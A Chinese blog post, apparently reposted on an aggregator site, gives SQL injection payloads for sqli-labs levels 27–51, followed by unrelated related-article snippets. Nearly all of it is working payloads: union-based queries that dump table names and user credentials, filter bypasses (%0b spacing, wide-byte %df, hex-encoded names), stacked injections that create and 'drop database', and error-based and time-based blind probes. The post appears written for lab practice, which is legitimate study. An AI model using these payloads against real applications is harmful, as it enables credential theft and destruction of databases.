sqllibs 27-51关payload

ops/2025/4/2 6:44:32/

目录

前言

Less-27

Less-27a

Less-28

Less-28a

Less-29

Less-30

Less-31

Less-32

Less-33

Less-34（POST）

Less-35

Less-36

Less-37（POST）

Less-38（堆叠注入）

Less-39（堆叠注入）

Less-40（堆叠注入）

Less-41（堆叠注入）

Less-42（堆叠注入，POST）

Less-43（堆叠注入，POST）

Less-44（堆叠注入，POST）

Less-45（堆叠注入，POST）

Less-46（报错注入）

Less-47（报错注入）

Less-48（爆破注入）

Less-49（爆破注入）

Less-50（报错注入、堆叠注入）

Less-51

前言

方法不止一种，在此只列出部分方法。

Less-27

查库名

?id='%0b uNion%0bsElect%0b 1,database(),3 %0b or'

查表名

?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3 %0b or'

查列名

?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3 %0b or'

查用户名、密码

?id='%0b uNion%0bsElect%0b 1,(sElect%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3 %0b or'

Less-27a

查库名

?id=0%22%0BuNion%0B%20sElect%0B1,database(),3%0Bor%22

查表名

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(table_name)%20from%20(information_schema.tables)%20where%20(table_schema=%27security%27)),3%0Bor%22

查列名

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(column_name)%20from%20(information_schema.columns)%20where%20(table_name=%27users%27)),3%0Bor%22

查用户名、密码

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bconcat(username,%27==%27,password)%0bfrom%0busers%0blimit%0b0,1),3%0Bor%22
 

Less-28

查库名

?id=0') %0bunion%0bselect%0b1,database(),3%0bor('

查表名

?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('

查列名

?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('

查用户名、密码

?id=0') %0bunion%0bselect%0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('

Less-28a

查库名

?id=0') %0bUNIon %0bSELEct %0b1,database(),3%0bor('

查表名

?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('

查列名

?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('

查用户名、密码

?id=0') %0bunion %0bselect %0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('

Less-29

查库名

?id=-1' union select 1,database(),user()--+

查表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+

查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+

查用户名、密码

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Less-30

查库名

?id=-1" union select 1,database(),user() --+

查表名

?id=-1" union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

查列名

?id=-1" union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+

查用户名、密码

?id=-1" union select 1,group_concat(username),group_concat(password) from users  --+

Less-31

查库名

?id=-1") union select 1,database(),3--+

查表名

?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查用户名、密码

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-32

查库名

?id=-1%df' union select 1,database(),user()--+

查表名

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = database() --+

或

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479) --+  

（括号里为"security"的16进制）

查列名

?id= %df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+  

（括号里为"users"16进制）

查用户名、密码

?id=-1%df' union select 1,uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit --+

Less-33

Less-33与32一致，32为自定义过滤，33使用addslashes()过滤

Less-34（POST）

查库名

uname=%df' union select database(),user()--+&passwd=&submit=Submit

查表名

uname=%df' union select database(),group_concat(table_name) from information_schema.tables where table_schema =  (0x7365637572697479) --+&passwd=&submit=Submit

查列名
uname=%df' union select database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273) --+&passwd=&submit=Submit

查用户名、密码

uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit

Less-35

查库名

?id=0 union select 1,database(),user()--+

查表名

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+

查列名

?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)

查用户名、密码

?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Less-36

查库名

?id=-1%df' union select 1,database(),user()--+

查表名

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+

查列名

?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+

查用户名、密码

?id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

Less-37（POST）

查库名

uname=-1%df' union select user(),database()-- &passwd=1&submit=Submit

查表名

uname=-1%df' union select user(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)-- &passwd=1&submit=Submit

查列名

uname=-1%df' union select user(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)-- &passwd=1&submit=Submit

查用户名、密码

uname=-1%df' union select group_concat(username),group_concat(password) from users-- &passwd=1&submit=Submit

Less-38（堆叠注入）

?id=-1' ;CREATE TABLE cooper like users--+
?id=-1';CREATE DATABASE cooper--+

（创建库cooper，创建表cooper）

Less-39（堆叠注入）

与38相同，闭合不同，id=1

Less-40（堆叠注入）

与38相同，闭合不同，id=1')

Less-41（堆叠注入）

与38相同，闭合不同，id=1，错误不回显

Less-42（堆叠注入，POST）

login_user=admin&login_password=1';drop database cooper--+&mysubmit=Login

（user有过滤）

Less-43（堆叠注入，POST）

与42相同，1')闭合

Less-44（堆叠注入，POST）

与42相同

Less-45（堆叠注入，POST）

与43相同

Less-46（报错注入）

?sort=1 and updatexml(1,(concat(0x7e,database(),0x7e)),1)--+

Less-47（报错注入）

与46相同，'闭合

?sort=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

Less-48（爆破注入）

?sort=1 and if(length(database())>1,0,sleep(5))--+

Less-49（爆破注入）

与48一致，'闭合

?sort=1' and if(length(database())=8,sleep(5),0)--+

Less-50（报错注入、堆叠注入）

?sort=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+  （报错注入）
?sort=1;create database cooper;--+   （堆叠注入，创建库）

Less-51

与50一致，'闭合

?sort=1';drop database cooper;--+

文章来源:https://blog.csdn.net/qq_46493912/article/details/138245637
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.ppmy.cn/ops/20550.html

相关文章

前端算法

前端算法

4大算法： 贪心算法：局部最优解分治算法：将一个问题分成多个小模块动态规划：每一个状态都是过去历史的总结回溯算法：不是最优选择的时候退回重新选 一、排序算法 1. 冒泡排序：数字越大越往上 第一次循环 比…
阅读更多...
centOS 7.9操作

centOS 7.9操作

名称日期版本作者centOS7.9操作2024.4.271.0lll 实验题目： 创建一个用户。 在创建的用户中再创建一个2024的目录。 在2024的下在创建一个 1---10的目录，再创建一个a--z.txt的文件。 在创建一个2024bak的目录。 再将当前用户的所有文件备份到2024ba…
阅读更多...
DL - 图像分割

DL - 图像分割

from transformers import SegformerFeatureExtractor import PIL.Image#一个把图像转换为数据的工具类 feature_extractor SegformerFeatureExtractor()#模拟一批数据 pixel_values [PIL.Image.new(RGB, (200, 100), blue),PIL.Image.new(RGB, (200, 100), red) ]value [PI…
阅读更多...
Win32 API 光标隐藏定位和键盘读取等常用函数

Win32 API 光标隐藏定位和键盘读取等常用函数

Win32 API 光标隐藏定位和键盘读取等常用函数 一、Win32 API二、控制台程序指令modetitlepausecls 三、控制台屏幕上坐标的结构体COORD四、句柄获取函数GetStdHandle五、控制台光标操作1.控制台光标信息结构体CONSOLE_CURSOR_INFO2.得到光标信息函数GetConsoleCursorInfo3. 设置…
阅读更多...
Java面试题：描述策略模式及其在Java编程问题解决中的作用。

Java面试题：描述策略模式及其在Java编程问题解决中的作用。

策略模式（Strategy Pattern）是一种行为型设计模式，它定义了一系列算法，并将每个算法封装起来，使它们可以互换。策略模式让算法的变化独立于使用算法的客户，从而使得算法可以按需改变而不影响客户端。 策略…
阅读更多...
Windows如何安装spark

Windows如何安装spark

Apache Spark是一个开源的大数据处理框架，旨在提供高效、通用和易用的大数据处理引擎。它最初由加州大学伯克利分校AMPLab开发，并于2010年开源。 Spark提供了一个基于内存的计算引擎，可以在大规模数据集上执行高速的数据处理任务。相比传统的…
阅读更多...
时间序列生成数据，TransformerGAN

时间序列生成数据，TransformerGAN

简介：这个代码可以用于时间序列修复和生成。使用transformer提取单变量或者多变时间窗口的趋势分布情况。然后使用GAN生成分布类似的时间序列。 此外，还实现了基于prompt的数据生成，比如指定生成某个月份的数据、某半个月的数据、某一个星期的…
阅读更多...
MySQL__深度分页问题

MySQL__深度分页问题

文章目录 😊 作者：Lion J 💖 主页： https://blog.csdn.net/weixin_69252724 🎉 主题： MySQL__深度分页问题） ⏱️ 创作时间：2024年04月27日 ———————————————— …
阅读更多...
最新文章

Copyright @ 2022~2023